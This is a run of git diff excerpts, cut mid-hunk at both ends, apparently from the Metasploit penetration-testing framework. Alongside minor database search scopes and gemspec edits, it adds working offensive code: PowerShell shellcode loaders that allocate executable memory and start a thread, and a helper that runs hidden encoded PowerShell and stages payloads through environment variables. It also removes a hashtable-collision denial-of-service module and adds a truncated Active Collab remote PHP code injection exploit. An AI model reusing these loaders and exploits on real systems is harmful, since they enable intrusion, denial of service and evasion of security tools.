"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
])
|
||||
}
|
||||
|
||||
private
|
||||
|
||||
def delete_file
|
||||
|
||||
+7
@@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Note
|
||||
|
||||
scope :flagged, where('critical = true AND seen = false')
|
||||
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
|
||||
scope :search, lambda { |*args|
|
||||
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
|
||||
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
|
||||
"OR ntype ILIKE ?",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
])
|
||||
}
|
||||
|
||||
|
||||
after_save :normalize
|
||||
|
||||
+2
-1
@@ -23,8 +23,9 @@ module MetasploitDataModels::ActiveRecordModels::Service
|
||||
where([
|
||||
"services.name ILIKE ? OR " +
|
||||
"services.info ILIKE ? OR " +
|
||||
"services.proto ILIKE ? OR " +
|
||||
"services.port = ? ",
|
||||
"%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
|
||||
])
|
||||
}
|
||||
|
||||
|
||||
+7
@@ -10,10 +10,16 @@ module MetasploitDataModels::ActiveRecordModels::Session
|
||||
|
||||
scope :alive, where("closed_at IS NULL")
|
||||
scope :dead, where("closed_at IS NOT NULL")
|
||||
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
|
||||
|
||||
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
before_destroy :stop
|
||||
|
||||
def upgradeable?
|
||||
(self.platform =~ /win/ and self.stype == 'shell')
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
@@ -21,6 +27,7 @@ module MetasploitDataModels::ActiveRecordModels::Session
|
||||
c = Pro::Client.get rescue nil
|
||||
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
|
||||
end
|
||||
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
+7
@@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Vuln
|
||||
|
||||
after_update :save_refs
|
||||
|
||||
scope :search, lambda { |*args|
|
||||
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
]).
|
||||
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
|
||||
}
|
||||
|
||||
private
|
||||
|
||||
def save_refs
|
||||
|
||||
@@ -6,14 +6,14 @@ Gem::Specification.new do |s|
|
||||
|
||||
s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version=
|
||||
s.authors = ["Trevor Rosen"]
|
||||
s.date = "2012-04-24"
|
||||
s.date = "2012-05-18"
|
||||
s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions."
|
||||
s.email = ["trevor_rosen@rapid7.com"]
|
||||
s.executables = ["mdm_console"]
|
||||
s.files = ["bin/mdm_console"]
|
||||
s.homepage = ""
|
||||
s.require_paths = ["lib"]
|
||||
s.rubygems_version = "1.8.21"
|
||||
s.rubygems_version = "1.8.15"
|
||||
s.summary = "Database code for MSF and Metasploit Pro"
|
||||
|
||||
if s.respond_to? :specification_version then
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/unix'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
require 'zlib'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Powershell
|
||||
include ::Msf::Post::Common
|
||||
|
||||
|
||||
# List of running processes, open channels, and env variables...
|
||||
|
||||
|
||||
# Suffix for environment variables
|
||||
|
||||
|
||||
def have_powershell?
|
||||
cmd_out = cmd_exec("powershell get-host")
|
||||
return true if cmd_out =~ /Name.*Version.*InstanceID/
|
||||
return false
|
||||
end
|
||||
|
||||
def make_subs(script, subs)
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
print_good("Final Script: ")
|
||||
script.each_line {|l| print_status("\t#{l}")}
|
||||
end
|
||||
end
|
||||
|
||||
def process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
return new_subs
|
||||
end
|
||||
|
||||
def read_script(script)
|
||||
script_in = ''
|
||||
begin
|
||||
# Open script file for reading
|
||||
fd = ::File.new(script, 'r')
|
||||
while (line = fd.gets)
|
||||
script_in << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close()
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat script as a... script
|
||||
script_in = script
|
||||
end
|
||||
return script_in
|
||||
end
|
||||
|
||||
|
||||
def compress_script(script_in, eof = nil)
|
||||
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression += "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression += "$stream,"
|
||||
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
end
|
||||
|
||||
def execute_script(script)
|
||||
running_pids, open_channels = [], []
|
||||
# Execute using -EncodedCommand
|
||||
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
|
||||
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
|
||||
|
||||
# Add to list of running processes
|
||||
running_pids << cmd_out.pid
|
||||
|
||||
# Add to list of open channels
|
||||
open_channels << cmd_out
|
||||
|
||||
return [cmd_out, running_pids, open_channels]
|
||||
end
|
||||
|
||||
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
# Divide the encoded script into 8000 byte chunks and iterate
|
||||
index = 0
|
||||
count = 8000
|
||||
while (index < compressed_script.size - 1)
|
||||
# Define random, but serialized variable name
|
||||
env_prefix = "%05d" % ((index + 8000)/8000)
|
||||
env_variable = env_prefix + env_suffix
|
||||
|
||||
# Create chunk
|
||||
chunk = compressed_script[index, count]
|
||||
|
||||
# Build the set commands
|
||||
set_env_variable = "[Environment]::SetEnvironmentVariable("
|
||||
set_env_variable += "'#{env_variable}',"
|
||||
set_env_variable += "'#{chunk}', 'User')"
|
||||
|
||||
# Compress and encode the set command
|
||||
encoded_stager = compress_script(set_env_variable)
|
||||
|
||||
# Stage the payload
|
||||
print_good(" - Bytes remaining: #{compressed_script.size - index}")
|
||||
execute_script(encoded_stager)
|
||||
|
||||
# Increment index
|
||||
index += count
|
||||
|
||||
end
|
||||
|
||||
# Build the script reassembler
|
||||
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
||||
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
||||
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
||||
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
||||
|
||||
# Compress and encode the reassemble command
|
||||
encoded_script = compress_script(reassemble_command)
|
||||
|
||||
return encoded_script
|
||||
end
|
||||
|
||||
def write_to_log(cmd_out, log_file, eof)
|
||||
# Open log file for writing
|
||||
fd = ::File.new(log_file, 'w+')
|
||||
|
||||
# Read output until eof and write to log
|
||||
while (line = cmd_out.channel.read())
|
||||
if (line.sub!(/#{eof}/, ''))
|
||||
fd.write(line)
|
||||
vprint_good("\t#{line}")
|
||||
cmd_out.channel.close()
|
||||
break
|
||||
end
|
||||
fd.write(line)
|
||||
vprint_good("\t#{line}")
|
||||
end
|
||||
|
||||
# Close log file
|
||||
fd.close()
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
# Remove environment variables
|
||||
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
env_del_command += "Select-String #{env_suffix}|%{"
|
||||
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
||||
script = compress_script(env_del_command, eof)
|
||||
cmd_out, running_pids, open_channels = *execute_script(script)
|
||||
write_to_log(cmd_out, "/dev/null", eof)
|
||||
|
||||
# Kill running processes
|
||||
running_pids.each() do |pid|
|
||||
session.sys.process.kill(pid)
|
||||
end
|
||||
|
||||
|
||||
# Close open channels
|
||||
open_channels.each() do |chan|
|
||||
chan.channel.close()
|
||||
end
|
||||
|
||||
::File.delete(script_file) if datastore['DELETE']
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
end; end; end; end
|
||||
|
||||
@@ -140,7 +140,7 @@ class Exploit
|
||||
end
|
||||
|
||||
if not payload
|
||||
payload = exploit_choose_payload(mod, target)
|
||||
payload = Exploit.choose_payload(mod, target)
|
||||
end
|
||||
|
||||
begin
|
||||
@@ -236,7 +236,7 @@ class Exploit
|
||||
#
|
||||
# Picks a reasonable payload and minimally configures it
|
||||
#
|
||||
def exploit_choose_payload(mod, target)
|
||||
def self.choose_payload(mod, target)
|
||||
|
||||
# Choose either the real target or an invalid address
|
||||
# This is used to determine the LHOST value
|
||||
|
||||
+97
-2
@@ -1,5 +1,5 @@
|
||||
##
|
||||
# $Id$
|
||||
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
|
||||
##
|
||||
|
||||
###
|
||||
@@ -1078,6 +1078,95 @@ End Sub
|
||||
source
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "Set-StrictMode -Version 2\r\n"
|
||||
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
|
||||
psh << "namespace #{var_kernel32} {\r\n"
|
||||
psh << "public class func {\r\n"
|
||||
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
|
||||
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
|
||||
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
|
||||
psh << "} }\r\n"
|
||||
psh << "\"@\r\n\r\n"
|
||||
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
|
||||
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
|
||||
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
|
||||
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
|
||||
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
|
||||
|
||||
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
|
||||
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
|
||||
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
|
||||
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
|
||||
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
|
||||
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
|
||||
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(framework, code, opts={})
|
||||
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
code = code.unpack("C*")
|
||||
|
||||
# Add wrapper script
|
||||
psh = "$#{var_code} = @\"\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
|
||||
psh << "\"@\r\n"
|
||||
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
|
||||
# Set up the payload string
|
||||
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
psh << "$#{var_size} = 0x1000\r\n"
|
||||
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
|
||||
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
|
||||
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
|
||||
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
|
||||
|
||||
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts={})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
@@ -1824,13 +1913,19 @@ End Sub
|
||||
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
|
||||
output = Msf::Util::EXE.to_jsp_war(exe)
|
||||
|
||||
when 'psh'
|
||||
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
|
||||
|
||||
when 'psh-net'
|
||||
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
|
||||
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
def self.to_executable_fmt_formats
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -1,217 +0,0 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Hashtable Collisions',
|
||||
'Description' => %q{
|
||||
A variety of programming languages suffer from a denial-of-service (DoS) condition
|
||||
against storage functions of key/value pairs in hash data structures, the
|
||||
condition can be leveraged by exploiting predictable collisions in the underlying
|
||||
hashing algorithms.
|
||||
|
||||
The issue finds particular exposure in web server applications and/or frameworks.
|
||||
In particular, the lack of sufficient limits for the number of parameters in POST
|
||||
requests in conjunction with the predictable collision properties in the hashing
|
||||
functions of the underlying languages can render web applications vulnerable to the
|
||||
DoS condition. The attacker, using specially crafted HTTP requests, can lead to a
|
||||
100% of CPU usage which can last up to several hours depending on the targeted
|
||||
application and server performance, the amplification effect is considerable and
|
||||
requires little bandwidth and time on the attacker side.
|
||||
|
||||
Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload
|
||||
to bypass IDS.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Christian Mehlmauer <FireFart[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'],
|
||||
['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'],
|
||||
['URL', 'http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
|
||||
['URL', 'http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
|
||||
['URL', 'http://www.youtube.com/watch?v=R2Cq3CLI6H8'],
|
||||
['CVE', '2011-5034'],
|
||||
['CVE', '2011-5035'],
|
||||
['CVE', '2011-4885'],
|
||||
['CVE', '2011-4858']
|
||||
],
|
||||
'DisclosureDate'=> 'Dec 28 2011'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
|
||||
OptString.new('URL', [ true, "The request URI", '/' ]),
|
||||
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
|
||||
OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
|
||||
OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
|
||||
OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
|
||||
OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_payload
|
||||
# Taken from:
|
||||
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
|
||||
|
||||
@recursivecounter = 1
|
||||
collisionchars = compute_collision_chars
|
||||
return nil if collisionchars == nil
|
||||
|
||||
length = datastore['payloadlength']
|
||||
size = collisionchars.length
|
||||
post = ""
|
||||
maxvaluefloat = size ** length
|
||||
maxvalueint = maxvaluefloat.floor
|
||||
print_status("Generating POST Data...")
|
||||
for i in 0.upto(maxvalueint)
|
||||
inputstring = i.to_s(size)
|
||||
result = inputstring.rjust(length, "0")
|
||||
collisionchars.each {|key, value|
|
||||
result = result.gsub(key, value)
|
||||
}
|
||||
post << "#{Rex::Text.uri_encode(result)}=&"
|
||||
end
|
||||
return post
|
||||
end
|
||||
|
||||
def compute_collision_chars
|
||||
print_status("Trying to find Hashes...") if @recursivecounter == 1
|
||||
hashes = {}
|
||||
counter = 0
|
||||
length = datastore['collisioncharlength']
|
||||
a = []
|
||||
for i in @charrange
|
||||
a << i.chr
|
||||
end
|
||||
# Generate all possible strings
|
||||
source = a.repeated_permutation(length).map(&:join)
|
||||
# and pick a random one
|
||||
basestr = source.sample
|
||||
basehash = @function.call(basestr)
|
||||
hashes[counter.to_s] = basestr
|
||||
counter = counter + 1
|
||||
for item in source
|
||||
if item == basestr
|
||||
next
|
||||
end
|
||||
if @function.call(item) == basehash
|
||||
# Hooray we found a matching hash
|
||||
hashes[counter.to_s] = item
|
||||
counter = counter + 1
|
||||
end
|
||||
if counter >= datastore['collisionchars']
|
||||
break
|
||||
end
|
||||
end
|
||||
if counter < datastore['collisionchars']
|
||||
# Try it again
|
||||
if @recursivecounter > datastore['recursivemax']
|
||||
print_error("Not enought values found. Please start this script again")
|
||||
return nil
|
||||
end
|
||||
print_status("#{@recursivecounter}: Not enough values found. Trying it again...")
|
||||
@recursivecounter = @recursivecounter + 1
|
||||
hashes = compute_collision_chars
|
||||
else
|
||||
print_status("Found values:")
|
||||
hashes.each_value {|item|
|
||||
print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
|
||||
item.each_char {|i|
|
||||
print_status("\t\tValue: #{i}\tCharcode: #{i.ord}")
|
||||
}
|
||||
}
|
||||
end
|
||||
return hashes
|
||||
end
|
||||
|
||||
def DJBXA(inputstring, base, start)
|
||||
counter = inputstring.length - 1
|
||||
result = start
|
||||
inputstring.each_char {|item|
|
||||
result = result + ((base ** counter) * item.ord)
|
||||
counter = counter - 1
|
||||
}
|
||||
return result.round
|
||||
end
|
||||
|
||||
# PHP's hash function
|
||||
def DJBX33A(inputstring)
|
||||
return DJBXA(inputstring, 33, 5381)
|
||||
end
|
||||
|
||||
# Java's hash function
|
||||
def DJBX31A(inputstring)
|
||||
return DJBXA(inputstring, 31, 0)
|
||||
end
|
||||
|
||||
def run
|
||||
case datastore['TARGET']
|
||||
when /php/i
|
||||
@function = method(:DJBX33A)
|
||||
@charrange = Range.new(0, 255)
|
||||
if (datastore['maxpayloadsize'] <= 0)
|
||||
datastore['maxpayloadsize'] = 8
|
||||
end
|
||||
when /java/i
|
||||
@function = method(:DJBX31A)
|
||||
@charrange = Range.new(0, 128)
|
||||
if (datastore['maxpayloadsize'] <= 0)
|
||||
datastore['maxpayloadsize'] = 2
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
|
||||
end
|
||||
|
||||
print_status("Generating Payload...")
|
||||
payload = generate_payload
|
||||
return if payload == nil
|
||||
# trim to maximum payload size (in MB)
|
||||
maxinmb = datastore['maxpayloadsize']*1024*1024
|
||||
payload = payload[0,maxinmb]
|
||||
# remove last invalid(cut off) parameter
|
||||
position = payload.rindex("=&")
|
||||
payload = payload[0,position+1]
|
||||
print_status("Payload generated")
|
||||
|
||||
for x in 1..datastore['RLIMIT']
|
||||
print_status("Sending Request ##{x}...")
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => datastore['URL'],
|
||||
'data' => payload
|
||||
}
|
||||
c = connect
|
||||
r = c.request_cgi(opts)
|
||||
c.send_request(r)
|
||||
disconnect(c)
|
||||
# Don't wait for a response, can take hours
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[
|
||||
['CVE', '2012-1495'],
|
||||
['OSVDB', '81329'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18775']
|
||||
['EDB', '18775']
|
||||
],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary code injection vulnerability in the chat module
|
||||
that is part of Active Collab by abusing a preg_replace() using the /e modifier and
|
||||
its replacement string using double quotes. The vulnerable function can be found in
|
||||
activecollab/application/modules/chat/functions/html_to_text.php.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '81966'],
|
||||
['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Keys' => ['php'],
|
||||
'Space' => 4000,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'DisclosureDate' => 'May 30 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
|
||||
OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
|
||||
OptString.new('PASS',[true, "The password to authenticate with"])
|
||||
],self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
login_path = "public/index.php?path_info=login&re_route=homepage"
|
||||
uri = datastore['URI']
|
||||
uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"
|
||||
|
||||
cms = send_request_raw({'uri' => uri}, 25)
|
||||
|
||||
uri = datastore['URI']
|
||||
uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
|
||||
|
||||
chat = send_request_raw({'uri' => uri}, 25)
|
||||
|
||||
# cant detect the version here
|
||||
if (cms and cms.body =~ /powered by activeCollab/)
|
||||
# detect the chat module
|
||||
if (chat and chat.code == 200)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
user = datastore['USER']
|
||||
pass = datastore['PASS']
|
||||
p = Rex::Text.encode_base64(payload.encoded)
|
||||
header = rand_text_alpha_upper(3)
|
||||
login_uri = datastore['URI']
|
||||
login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
|
||||
|
||||
# login
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => login_uri,
|
||||
'vars_post' =>
|
||||
{
|
||||
'login[email]' => user,
|
||||
'login[password]' => pass,
|
||||
'submitted' => "submitted",
|
